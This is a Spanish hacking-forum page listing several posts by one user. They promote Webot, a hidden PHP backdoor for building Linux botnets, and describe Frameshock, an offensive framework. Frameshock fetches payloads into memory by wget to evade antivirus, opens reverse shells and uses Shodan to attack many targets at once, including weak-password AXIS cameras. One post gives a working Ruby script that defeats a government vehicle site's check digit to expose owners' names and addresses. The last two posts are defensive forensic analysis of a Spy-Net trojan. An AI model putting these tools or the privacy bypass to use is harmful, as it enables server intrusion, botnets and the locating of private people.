Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Muppet

#1
Bugs y Exploits / Webot Botnet - Frameshock
Marzo 09, 2015, 12:17:31 PM

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
by hdbreaker

Alguna vez has pensado como armar tu propia Botnet? 

Repasado internamente la planificación para dispersar Malware?

Has pensado en armar tu propio Malware?

Las miles de lineas de código que implica tener un Malware decente? 

Has pensado si cuentas realmente con las skills necesarias?

Bueno quiero comentarles un secreto a esas personas curiosas que probablemente tengan un perfil Pentester  y no se sientan atraídas por el Malware o no ven el desarrollo de software como parte principal de sus intereses.

Estamos trabajando en una solución

Imagina ir realizando tus ataques, ingresando a servidores recorriendo archivos leyendo logs, intentando escalar privilegios y te encuentras con la necesidad  de mantener el acceso de forma fiable y pasiva.

Webot es posible gracias a la base robusta que brinda Frameshock, se presenta como un modulo privado del mismo y viene a realizar esos deseos realidad.

Podrás realizar tus auditorías y a medida que trabajes podrás generarte poco a poco una botnet PHP pasiva que en el momento que tu elijas te daría la posibilidad de volver activa a cada victima LINUX, gestionarla remotamente o en conjunto con todos tus zombies y hasta garantizarte reverse shell de todas tus victimas.

¿Como Funciona?

Webot da la posibilidad de crear un payload especial protegido por contraseña que debe inyectarse en cualquier archivo php dentro del servidor.

Este payload funciona de forma OnDemand, lo que quiere decir que cuando el titiritero solicite al Zombie privilegios este le responderá, pero mientras no sea necesario el Zombie no despertara ninguna actitud sospechosa quedando dormido pero residente.

Una vez hecho esto solo queda gestionar los Zombies desde el modulo Webot de Frameshock que permite el envío individual o masivo de comando a los Zombies.

Ademas de esto Webot ofrece la posibilidad de solicitar un Reverse Shell a los Zombies, tanto a un Bot especifico como a toda la Mesh de Bots.

Este modulo se encuentra en desarrollo privado y se esta debatiendo la posibilidad de liberar una versión gratuita.

De momentos los dejamos con unas capturas:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#2
Bugs y Exploits / ¿Quién te choco? Hackeando Patentes
Febrero 06, 2015, 01:27:07 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
by hdbreaker


Hace algún tiempo tuve la mala fortuna de estar envuelto en un accidente de trafico algo grave, donde yo por viajar en moto, me lleve la peor parte. Totalmente en contra a lo que esperaba, el responsable del accidente no se detuvo a asistirme, por su parte prefirió darse a la fuga.

Luego de todos los protocolos médicos, unos cuantos moretones y tras no encontrar respuestas en la policía por falta de testigos, decidí comenzar una búsqueda personal de identificación del vehículo con el único dato que había logrado divisar en el golpe.
###su numero de patente###

Por cuestiones de confidencialidad no utilizare la patente real del agresor sino una que alcance a leer en el registro del automotor mientras realizaba los tramites del seguro.


¿La pregunta?

Existe algún sistema que me permita consultar los datos y el estado de un vehículo que transita en la calle actualmente? La respuesta es si!


Luego de algunas consultas a google, logre dar con un servicio de Rentas en la provincia de Buenos Aires que nos permite consultar el estado de deuda de patentes de un vehículo.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


El mismo tiene dos formas de funcionar, si no eres el propietario solamente puedes obtener los datos correspondiente a deudas sobre el automóvil pero el sistema no te permite acceder a las secciones que identifica a la persona registrada en el Registro del Automotor como titular del vehículo.


Por otro lado, para comprobar la titularidad del vehículo, el sistema solicita ingresar un numero de verificación especial único que solo el dueño del automóvil debe poseer, ya que el mismo sirve para imprimir boletas de pago de deudas que incluyen los datos personales del propietario del automotor, de esta forma garantiza la privacidad de los datos de los usuarios.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo primero que podemos analizar en el sitio, es que el dígito especial y verificador del sistema, solo acepta valores que van desde 00 a 99 (el valor no es tan único como uno cree)


En fin, la patente a estudiar en esta entrada sera JMO089, luego de realizar algunas pruebas manuales podemos apreciar que el captcha del sistema nunca es actualizado una vez que nos encontramos asociado a una sesión, permitiéndonos probar de forma manual las 99 combinaciones posibles hasta dar con la correcta.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


En la imagen podemos apreciar que el captcha no cambia a medida que vamos probando posibles combinaciones numéricas hasta lograr dar con el correcto, por lo que da la posibilidad de programar un Brute Forcer que valla probando todos los valores posibles hasta dar con el indicado. Pero un ataque así representa un problema al tener que enfrentarnos con un captcha, cosa que no estaba dispuesto por una falta de tiempo para programar un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

La pregunta que me formule fue:

Cual es la forma en que el sistema valida el valor correcto del dígito verificador?

Lo primero que pensé es que el sistema validaba el valor del lado del servidor luego de la consulta, por lo que me puse a comprobar las peticiones que realizaba el sitio al momento de enviar el formulario. Para esto utilice Live HTTP headers


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Al encontrarme con esto, no podía creer lo que estaba viendo, técnicamente hablando si una validación no presenta una petición web hacia el Backend, quiere decir que la validación se esta realizado del lado del cliente osea:

EL SISTEMA VALIDA POR JAVASCRIPT!

Esto implica que el algoritmo de validación del código verificador se encuentra servido en algún archivo javascript del lado del navegador, por lo que me puse a analizar el source html del documento para lograr identificar algún indicio de la validación. Lo primero que analice fueron los siguientes archivos:



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Dentro del archivo consultaDatos.js encontré la siguiente función con un nombre revelador: validaDatos


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
if (!check.checked && patente.valido(dom1) != true)

En la misma función se puede apreciar  en las lineas remarcadas la estructura donde se decide el mensaje de patente valida cumpliendo los requisitos de que el checkbox se encuentre marcado y el resultado de la función patente.valido() sea el necesario para resolver de forma correcta la estructura de decisión if().


El problema resulto que la función patente.valido() no se encontraba dentro del mismo documento, por lo que debía encontrar el fichero donde se encontraba la misma.

Para lo que no conozcan el funcionamiento de javascript, les aclaro que los ficheros js representan un gran código estructurado dividido en distintos archivos para mejorar su organización, pero siempre que estos archivos sean incluidos en el html los mismos pueden realizar llamadas a las funciones definidas entre ellos como si todos fueran miembros de la misma clase.


Luego de buscar un poco, llegue al siguiente archivo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Dentro del mismo podemos obtener la estructura del código validador:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Función Completa: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego de analizar detenida mente el código pude develar el comportamiento final del mismo.

El código calcula el dígito verificador en base a la patente del vehículo, sustituyendo las letras por números especiales para formar una cadena decimal, que luego suma según su indice, pares por un lado e impares por otro, como si de un array se tratase.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego si estos valores separados (digi1 y digi2) tienen un largo superior a un dígito (0 a 9), vuelve a sumarlos respectivamente hasta obtener 2 números de forma independiente con un largo de un dígito (0 a 9).


Y luego los concatena para obtener el numero mágico verificador:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo que resulta algo cómico es que esta función no tiene ninguna protección, y puede ser llamada desde la consola de desarrollo de Google Chrome o Firefox:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Con este numero verificador podemos realizar la consulta de forma exitosa:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al momento de solicitar una factura podemos apreciar los datos personales como el nombre del titular registrado y la dirección residencial del mismo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Realizando un poco de ingienería inversa desarrolle el siguientes scripts que permiten calcular cualquier dígito verificador solo con el numero de patente:
(Próximamente estaré agregando su versión en Python desarrollada por [Q]3rv[0]):

Ruby:


Código: php

require 'colorize' #by hdbreaker

class Calculate

  def initialize()
    #inicializo array asociativo de clase
    @letrasValidas ={'A' => '14','B' => '01','C' => '00','D' => '16','E' => '05','F' => '20','G' => '19',
                     'H' => '09','I' => '24','J' => '07','K' => '21','L' => '08','M' => '04','N' => '13',
                     'O' => '25','P' => '22','Q' => '18','R' => '10','S' => '02','T' => '06','U' => '12',
                     'V' => '23','W' => '11','X' => '03','Y' => '15','Z' => '17',' ' => '60',};
  end

  #Funcion para calcular el numero de patente
  def calculate(patente)
    patAux = patente.upcase;
    pares = 0;
    impares = 0;

    #Bloque para sustituir las letras por los numeros correspondisntes
    @letrasValidas.each { |key|
      if(patAux.include? key[0])
        patAux = patAux.gsub(key[0], key[1]);
      end
    }

    #Sumo los imares por un lado y los pares por el otro
    for x in (0...patAux.length)
      if (x % 2 == 0)
        pares += patAux[x].to_i;
      else
        impares += patAux[x].to_i;
      end
    end

    #Si la sumatoria de los pares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi1 =pares.to_s;
    while (digi1.length > 1)
      pares = 0;
      for x in (0...digi1.length)
        pares += digi1[x].to_i;
      end
      digi1 = pares.to_s;
    end

    #Si la sumatoria de los impares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi2 =impares.to_s;
    while (digi2.length > 1)
      impares = 0;
      for x in (0...digi2.length)
        impares += digi2[x].to_i;
      end
      digi2 = impares.to_s;
    end

    ###############Salida en Pantalla###############
    puts "\n############## Rentas Ciudad de Buenos Aires ##############".green
    puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red
    puts "Dominio: ".green+patente.red
    puts "Verificador: ".green+digi1.red+""+digi2.red
    puts "\n"
  end
end

if(ARGV.length==1)
  obj = Calculate.new()
  obj.calculate(ARGV[0].to_s)
else
  puts "Usage: ruby calculate.rb [patente]"
end



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Espero que esta entrega sirva para concientizar sobre la seguridad de nuestros datos personales, ya que recordemos que el fallo se encuentra en una red gubernamental que expone de forma descarada los datos personales de las personas.

Y si eres conductor... no vallas por la calle creyéndote intocable, nunca sabes con quien te puedes cruzar ni para que pueda utilizar tus datos, tal vez te encuentres con una persona que en vez de reportar el fallo utilice tu información para encontrarte, ir hacia tu casa y romperte las piernas.

Saludos!

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#3
Bugs y Exploits / Frameshock al Descubierto!
Febrero 03, 2015, 07:03:16 PM

by hdbreaker

Antes que nada quiero agradecer a la comunidad que me ha ido reportando pequeños bugs de inestabilidad sobre el framework, los cuales he ido fixeando constantemente, a todos ellos les agradezco y los invito a descargar la ultima versión de su repositorio oficial:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Les recuerdo que el framework esta en fase BETA, en este momento solo es soportado por distribuciones Linux derivadas de Debian y esta en constante desarrollo, por lo que pido que todo aquel que haya identificado un error, actualice a la ultima versión del repositorio y confirme si el mismo sigue vigente.

En fin, un millón  de gracias por colaborar!

En esta entrada quiero presentar una pequeña guía para explicar el funcionamiento de Frameshock y solventar dudas en su utilización.

Lo primero a resaltar es que todo aquel que haya utilizado alguna vez Metasploit no encontrara mayores problemas al familiarizarse con Frameshock, ya que hemos decidido seguir la linea de interacción de msf con el usuario para facilitar la migración y evitar las complicaciones sintácticas que implica una nueva forma de trabajo.

Frameshock se divide en 4 grande partes:

  • El Main
  • El Payload
  • El Handler
  • Los Modulos


    El Main


    Este es el cuerpo principal del Framework, en el encontraremos todas las utilidades de configuración para el correcto funcionamiento del mismo, las opciones de configuración de los payloads, la posibilidad de acceder al MultiHander de Frameshock así también como a la opción de búsquedas con el motor de SHODAN y todas las modificaciones a la base de datos que esto representa.

    Lo importante a tratar en Frameshock, es que a diferencia de Metasploit las opciones de configuración del framework son globales, lo que nos permite acceder a las mismas desde módulos subyacentes brindado una excesiva flexibilidad al momento de desarrollar.

    Los Payload en Frameshock también son globales así también las búsquedas de SHODAN, permitiéndonos rápidamente realizar múltiples ataques y reconfiguraciones veloces sin necesidad de modificar nada dentro del modulo que estamos operando ni de las Sesiones obtenidas.

    Frameshock sigue esta linea de pensamiento:

    1) Elige el payload a utilizar..
    2) Inicia el Manejador de Sesiones.
    3) Selecciona un Modulo y Ataca.

    El Payload 


    A diferencia de Mestasploit, Frameshock ofrece solo 5 posibles Payloads.

    Cada uno cumple todas las necesidades que puede requerir un pentester dependiendo del sistema que va a atacar.

    Los payloads mas potentes de Frameshock están programados en python, dando una dependencia de la maquina víctima con el interprete.

    Esto fue solventado en linux, dando la posibilidad de generar 2 Payloads que dependen directamente de las Shells interactivas del sistema. Dado que algunos sistemas basados en ARM/IoT solo presentan /bin/sh creamos 2 payload que nos permiten gestionar Reverse Shell tanto en BASH como SH.

    La verdad es que todavía para atacar a maquinas Windows de forma eficiente nos encontramos desarrollando un payload en C/C++ pero por el momento se puede pasar el payload por Py2Exe para generar un ejecutable compilado y lograr realizar el ataque correctamente. Aunque siempre esta la posibilidad de atacar servidores Windows con PowerShell que incluyen Python por defecto.

    Dentro de los Payload tenemos 3 formas distintas de Funcionamiento.

    Los Python Payloads:

    Frameshock Main al seleccionar un Payload, genera un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el mismo se encuentra dentro de la carpeta del proyecto /Injector y a su vez es copiado dentro del directorio /Injector dentro la ruta definida por el usuario de Apache (/var/www en nuestro caso)

    /var/www/Injector/injector.py #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

    injector.py es un pequeño código que se encarga de solicitarle al Handler el verdadero Payload para luego ejecutarlo On The Fly, evitando detecciones de Antivirus y realizando un mínimo trafico hacia internet .

    Diagrama:

    Victima (injector.py) --------------GiveMePayload----------> Atacante Handler
    Victima (injector.py) <-------------------Payload-------------  Atacante Handler
    Victima (Payload On Memory) ------Reverse Shell-----> Atacante Handler

    Los Shell Payloads:

    MainFrameshock  genera No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o injector.bash, el mismo seencuentra dentro de la carpeta del proyecto /Injector y a su vez escopiado dentro del directorio /Injector dentro la ruta definida por elusuario de Apache (/var/www en nuestro caso)

    /var/www/Injector/injector.sh || /var/www/Injector/injector.bash #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

    En este caso No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o Injector.bash, retorna por medio de métodos especificos una shell interactiva directamente sin solicitar Payload al Handler.

    El Meterpreter Payload:

    MainFrameshock al seleccionar un Payload, genera un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el mismo seencuentra dentro de la carpeta del proyecto /Injector y a su vez escopiado dentro del directorio /Injector dentro la ruta definida por el usuario de Apache (/var/www en nuestro caso)

    /var/www/Injector/injector.py #Esto nos permite acceder al payload de forma remota por medio de wget luego de la explotación de la vulnerabilidad.

    injector.py es un pequeño código que se encarga de solicitarle al Payload correspondiente a Metasploit Multi/Handler, el cual posteriormente ejecuta On The Fly y devuelve una Meterpreter Session.

    El Handler


    El Handler se inicia desde el Main Menu ejecutando start handler, este es totalmente independiente y nos permite gestionar todos los tipos de Sesiones entregadas por los payloads, a excepción de Meterpreter, que es gestionado por Metasploit y depende su previa instalación.

    Frameshock Handler, se comporta de 2 formas distintas dependiendo del indentificador enviado por el payload.

    El mismo integra un Payload Manager encargado de enviar los Payload a los Injectors correspondientes y un Session Manager, encargado de gestionar de forma MultiThreading y Asincronica una ilimitada cantidad de Sesiones al mismo tiempo, permitiendo interactuar y volver a background a las Sesiones en cualquier momento por medio de los comandos interact y stop. Se espera en su proxima versión que sea capas de instalar un rootkit en los equipos deseados como modulo para mantener el acceso.

    En la siguiente imagen se puede apreciar, como un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta solicita un payload al hanler y luego de su ejecución en memoria nos devuelve una Reverse Shell con la cual podemos interactuar en cualquier momento


    Los Modulos

    Los Modulos desarrollados por lacomunidad se encuentran en ExtraModules y deben seleccionarse y copiarsedentro de la carpeta Modules, respentando la nomenclatura y elcorrespondiente identificador numérico acorde a la cantidad de modulospresentes en la carpeta.

    Una vez hecho esto, podremos interactuar con los módulos seleccionados desde Frameshock con los comandos show modules y use {ModuleNumber}

    Importante: **** Antes de realizar el ataque con un modulo, debemos asegurarnos de haber creado un payload y haber iniciado el Handler *** 



    Una vez seleccionado un modulo, podemos visualizar sus opciones internas para adaptarlo a nuestras necesidades con el comando comando help

    Cabe desatacar que cada desarrollador puede adaptar las propiedades internas de sus módulos acorde a sus necesidades, Frameshock propone una estructura base que ha de respetarse para sacar el maximo provecho del framework.

    Entre las opciones por defecto de los modulos se expresa la función:  use shodan la cual carga como targets todos dispositivos obtenidos al utilizar la búsqueda por SHODAN en el Main Menu de Frameshock, permitiéndonos automatizar ataques masivos de forma sencilla y veloz.

    En el ejemplo a tratar en este manual se atacara a una Camara AXIS remota, vulnerable al modulo AXISIntruder desarrollado por [Q]3rv[0], el cual prueba contraseñas débiles en estos dispositivos, una vez logrado acceso sube el Payload y en unos segundos nos retorna una shell dentro del pequeño sistema interno de estos dispositivos.

    Cabe destacar que las cámaras AXIS ARM solo disponen de /bin/sh, por lo que nuestro payload deber ser acorde al ataque a realizar.




    Iniciamos el Handler:


    Seleccionamos el Modulo:


    Configuramos un Target Manual:


    Ejecutamos el Ataque:


    Esperamos unos segundos, y vemos como nuestro handler maneja la Sesión:


    Espero que esta guía solvente muchas de sus dudas, que les sea de utilidad y por sobretodo gracias por ayudarnos a volver realidad este gran proyecto!


    Saludos!

    Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Bugs y Exploits / Frameshock Liberado!
Febrero 03, 2015, 04:34:01 AM

Hoy quiero compartir con toda la comunidad un importante lanzamiento de nuestro equipo, luego de varios meses de desarrollo y testing tenemos las primeras versiones estables y 100% funcionales de una idea que nació al no sentirnos identificado al 100% con Metasploit.

Alguna vez te has preguntado... Realmente cuantos módulos de Metasploit son actualmente funcionales? Cuanto tiempo dura un modulo funcional? Framework lento?  Demasía de módulos, ruido visual, y un buscador algo limitado? Por que Ruby y no Python? Inestabilidad en las Sesiones fuera de la LAN?

La principal queja de muchos, es que el framework fomenta la aparición constante de Script Kiddies que cargan msf y atacan sin entender que están haciendo.

La verdad es que estas son algunas de las preguntas que muchos de la comunidad nos hacemos, por mi parte creo que el equipo de Metasploit ha logrado un excelente trabajo, pero tengo que resaltar algunos problemas:

  • Gran cantidad de Script Kiddies a la espera de un nuevos 0day
  • Inestabilidad en las Sesiones
  • Mucho ruido visual
  • Framework lento

    y algo por lo que no quiero entrar en discusión... ¿POR QUE RUBY?

    Ruby y Python me parece excelentes lenguajes de programación, por mi parte considero una mayor facilidad de introducir a los nuevos adeptos de la mano de Python. Y creo que con Ruby se dejo de lado a grandes mentes "Pythonicas" y una gran cantidad de material sobre el desarrollo de Exploits en Python

    Un mal concepto de Framework?

    Un Framework realmente es una base robusta, modular, limpia y pura que nos dota de una fuerte cantidad de herramientas para el desarrollo de nuestros propios módulos.

    Que es Frameshock? que me ofrece? por que debería probarlo?

    Frameshock propone una base robusta y solida para desarrollar o portar viejo código en módulos de forma limpia, clara y pura.  Incluye distintos payloads y un handler MultiThreading que nos permite interactuar con multiples víctimas al mismo tiempo de forma estable segura y pensado 100% en ataques fuera de la LAN

    Frameshock viene de la mano con la filosofía "Pick and Drop", eres desarrollador? has creado tus propios módulos?, simplemente comparte! estos se integraran automáticamente al framework con tan solo arrastrar el modulo dentro de la carpeta "Modules". Crea tu armamento personalizado, selecciona lo justo y necesario, sin cantidad de módulos que no utilizas y sin perdidas de tiempo antes de realizar un ataque, y lo mas importante... Do it Your Self!!!


    Una característica a resaltar de Frameshock es su integración con Shodan pensada para atacar multiples targets de forma rápida y simultanea dando al pentester una excelente herramienta para automatizar ataques y realizar nuevas pruebas de concepto masivas potenciando por completo la capacidad de explotar un nuevo 0day.

    ¿Lenguaje elegido?

    Nuestro concepto de framework viene de la mano de Python, dando la oportunidad de portar y reutilizar gran cantidad de código programado por desarrolladores que eligieron este magnifico y potente lenguaje para el desarrollo de herramientas, dando la posibilidad a usuarios menos experimentados ingresar al mundo del desarrollo de exploits y la automatización de procesos de forma rápida, practica y amigable. De esta forma combatir a la creciente población de Script Kiddies, dando una herramienta simple y profesional para el desarrollo de módulos.


    Has tu trabajo y hazlo por ti mismo! aprende, sorprende y comparte con tus descubrimientos! 

    Frameshock aun se encuentra en estado BETA por lo que puedes encontrar alguna inestabilidad en el sistema, pero ya puedes descargar, probar y utilizar los primeros módulos desarrollados por el equipo de Frameshock, si quieres ayudar, desarrollar, reportar bugs, o compartir tus módulos con la comunidad no dudes en ponerte en contacto!

    Para los fanáticos de Metasploit, no hay de que preocuparse, Frameshock integra completamente Meterpreter y el modulo Muli/Handler de Metasploit.

    Repositorio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    Email: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Gracias por hacer esto posible, Saludos!

    Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
Analizando el volcado con Volatility


Este post pretende ser una extensión del aporte Análisis Dinámico de Spy-Net, los invito a repasar los antiguos post para no perder el hilo del tema

Análisis Estático Spy-Net:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Análisis Dinámico Spy-Net:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En este post retomaremos desde el momento en que generamos el volcado de memoria con DumpIT, pero esta vez analizaremos su contenido con Volatility, un framework desarrollado especificamente para el Análisis de Volcados de Memoria, Gracias a [Q]3rv[0] por la recomendación

Este framework nos permitira rapidamente aislar las secciones de memoria de un proceso comprometido para reducir la cantidad de memoria a analizar. Lo que resalta de este framework es que al estar totalmente programado en python permite utilizarlo con la distribución que mas nos guste, en mi caso usare un Ubuntu 14.04 un poco tuneado por mi, ganando estabilidad y teniendo todas las herramientas que me permitirán potenciar el alcance de Volatility

Instalacion de Volatility:

Descargamos la versión mas reciente de Volatility desde la fuente original del proyecto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Luego lo descomprimimos, nos movemos a su ubicación y ejecutamos:

"sudo python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta install"

Aguardamos la finalización y listo, hora de trabajar con Volatility.

Volatility

Primero: Damos una leida a todo lo que nos ofrece este gran framework: "vol.py -h"


(la verdad es que no me da la pantalla para mostrar toda la ayuda, va a depender de su mano explorar un poco más)

Lo sorprendente de este framework es la cantidad de plugins que posee para extender el alcance del Forense.

Ahora que conocen un poco sobre Volatility, retomemos el Análisis.

Obtenemos un volcado de memoria con DumpIT (mem.raw) tal como vimos en el post anterior, una vez listo lo copiamos a linux, y procemos a analizarlo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -f mem.raw imageinfo (esto nos devuelve el profile correspondiente a nuestro volcado)


Una vez indentificado el profile en nuestro caso: Win7SP0x86 pasaremos a recuperar los procesos que se encontraban en ejecución en ese momento:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -f mem.raw --profile=Win7SP0x86 pslist


Al final de la imagen podemos apreciar explorer.exe, el cual es el proceso que identificamos realizaba la conexión al host remoto.
A este proceso lo detectamos con CurrPorts, pero podemos identificarlo mucho mas rápido y sin necesidad de instalar un programa externo
ejecutando el comando: "netstat -b" (Gracias Turka por el TIP)


(Como se puede apreciar el host/ip, puerto y proceso que realiza la conexión)

Con volatility aislaremos todas las secciones de memoria que pertenecen a explorer.exe generando un Subvolcado de la memoria, para eso nos ayudaremos del plugin: memdump 
Para esto necesitaremos el PID de explorer.exe que nos arrojo pslist (1344)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -f mem.raw --profile=Win7SP0x86 -p 1344 memdump -D ./ (Esto nos generar un Subvolcado PID.dmp)


Con esto hemos reducido el peso de 268 Mb a 203 Mb (esto significa, muchisimas lineas menos que analizar :) )


Pero recordemos que al final, en este caso, solo analizamos las cadenas de texto dentro de la memoria, por lo cual en este subvolcado todavía hay mucho codigo binario que no nos interesa, para reducirlo aun más nos ayudaremos de una poderosa herramienta de linux, que ya muchos deben conocer: strings

strings 1344.dmp >> explorer.txt


El resultado es sorprendente son solo 6 Mb de Strings para analizar, y no solo eso... con la ayuda de grep podemos obtener resultados filtrados a la velocidad de un chasquido.

Memorandum:

¿Que buscar?
no-ip, ddns, explorer.exe, update.exe, Juego.exe, Claves de Registros, etc


La verdad es con la primer busqueda nos va demaciado bien:

cat explorer.txt | grep no-ip


Conclusión:

Con el Framework Volatility hemos reducido el proceso de busqueda de información a menos de 5 minutos (realmente me tomo 5 minutos de reloj encontrar esta información) cuando analizando todo el volcado desde un editor hexadecimal tariamos mucho mas (recuerden que este volcado es de 256 Mb imaginen un volcado de 4 u 8 Gb), con este metodo corremos el riesgo de perder caracteres binarios especiales, que sean importantes para el malware y no necesariamente sean un string, pero es un framework muy poderoso y recomendable!

Happy Hunting :)
#6
Análisis Dinámico Spy-Net


Continuando con el post Anterior:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Voy a realizar el Análisis Dinámico de la Infección, para los que no recuerden el escenario es el siguiente:

La victima ejecuta un binario de Spy-Net que prometía ser un juego en su pc, este no nota nada inusual nisiquiera una ventana de instalación en su pc,intenta nuevamente la ejecución pero nuevamente nada sucede y antes de decidirse a borrar el archivo se pregunta, estaré siendo victima de un malware... La diferencia radica que esta vez realizaremos un Análisis Dinámico, para identificar el Agresor y desinfectarnos exitosamente...

Los Datos Recopilados con el Análisis Estático fueron los siguientes:

Troyano: Spy-Net

Registros de Autoinicio:
"Software\Microsoft\Windows\CurrentVersion\Run"
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

Ubicación del Malware: C:\Windows\EIS\update.exe
Rutas de Configuracion MSConfig:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder"
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg"

Espectativas: Lograr identificar host y puerto donde se conecta el malware, obtener credenciales necesarias para entrar al panel y de existir, obtener las credenciales asociadas a la recopilación de logs.


Primero usaremos Process Monitor para identificar los nuevos procesos que se general al ejecutar el Malware:


Como podemos apreciar en la imagen, al ejecutar Juego.exe tambien podemos apreciar que aparece en ejecución el proceso update.exe
si vemos la ruta de su ejecución podemos apreciar su dirección de destino:

"C:\Windows\EIS\update.exe" (La misma que encontramos con nuestro Análisis Estático)

Ya con esta información, cerramos Process Monitor, abrimos Process Explorer y ejecutamos nuevamente el Juego.exe:


Luego de algunos intentos (ya que el proceso se cierra para ocultarse del análisis) logramos ingresar a sus propiedades.
Al Analizar las mismas no notamos nada extraño.

La pregunta ahora es, que hace "C:\Windows\EIS\update.exe", asi que vamos hacia la dirección ejecutamos el binario y volvemos
a analizar con Process Explorer:


Podemos ver que update.exe tiene una ruta de AutoStart:
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\HKLM"

Entonces procedemos a ejecutar CurrPorts para ver si el malware esta realizando algun tipo de conexión hacia el exterior:


En este apartado podemos notar muy claramente que hay una conexión hacia el host remoto 181.23.131.19 en el puerto 9667
pero para nuestra sorpresa notamos que el proceso que realiza la conexión es "Explorer.EXE" y no "Juego.exe" o "update.exe" como esperábamos. Podemos deducir que el Malware migra intentando ocultarse hacia el Proceso Explorer.EXE

En este punto se presenta la duda... ¿Podre capturar el trafico que realiza mi pc hacia el host remoto? ¿Podre obtener las credenciales para validar el malware? ¿Enviara logs a algun dominio, podre obtener sus credenciales?

Nos ponemos manos a la obra, e iniciamos Wireshark:
En este paso vamos a realizar algo importante, primero vamos a apagar la maquina Victima, en ese momento iniciaremos Wireshark y aplicaremos el siguiente filtro:

"ip.dst==181.23.131.19 && tcp.port==9667"

Luego volveremos a iniciar la pc Victima.
Esto nos permitirá capturar desde la primer conexión que realice el Troyano al host 181.23.131.19:9667 y con un poco de suerte capturaremos las credenciales para validarnos posteriormente


Luego de Analizar algunos paquetes, llegamos a la conclusión obvia, de que la comunicación viaja codificada con un cifrado que no logramos reconocer, luego de pensar un poco y sacar mis propias hipótesis bajo mis propios desarrollos de Malware y Crypters, llego a la pregunta:

¿En algún momento, el código encriptado se desencripta...? La respuesta es SI

Pequeña reseña de como funciona un Malware Encriptado (Crypter):

"Un Malware Encriptado es la unión de 2 programas, el Stub y el Malware Encriptado. El stub se encarga de leerse a el mismo buscando un delimitador que le indique que apartir de ese byte todo lo que sigue es el malware Encriptado cargado en memoria, lo desencripta completamente al finalizar OBTIENE UNA VERSIÓN LIMPIA, DESENCRIPTADA Y DESOFUSCADA DEL MALWARE, que luego envía hacia el RUNPE que se encarga de inyectar el codigo en memoria (String) dentro de un proceso (por ej notepad.exe) que inicia suspendido, una vez la inyección termina con éxito reactiva el proceso (notepad.exe) que realmente ejecuta el codigo inyectado de nuestro malware"

OBTIENE UNA VERSIÓN LIMPIA, DESENCRIPTADA Y DESOFUSCADA DEL MALWARE... Joder es el momento ideal para analizar las conexiones que realiza el troyano.

La pregunta ahora es... ¿Donde obtengo esa versión limpia? y la respuesta es DESDE LA MEMORIA RAM!!!

Con la ayuda de nuestro amigo DumpIT (un programa que permite volcar la memoria RAM a un archivo hexadecimal) volcaremos
la memoria de nuestra Victima para analizar sus Strings Completamente Desencriptados...

Acá existe un punto que aclarar, un volcado de memoria resulta ser bastante sucio ya que vuelca todo lo que este residente en RAM, eso involucra a todos los programas que no son nuestro malware y que estarán complicando nuestro Análisis, una recomendación es reiniciar la pc antes de realizar el volcado, con el fin de liberar la RAM de toda basura que haya quedado residente en memoria. Ademas mientras mayor sea nuestra cantidad de RAM mayor sera el tamaño del fichero de volcado, por lo que si es posible reducir la memoria lo mas que se pueda, en mi caso reduje la memoria de 1 GB a 256 mb para obtener un resultado mas pulcro


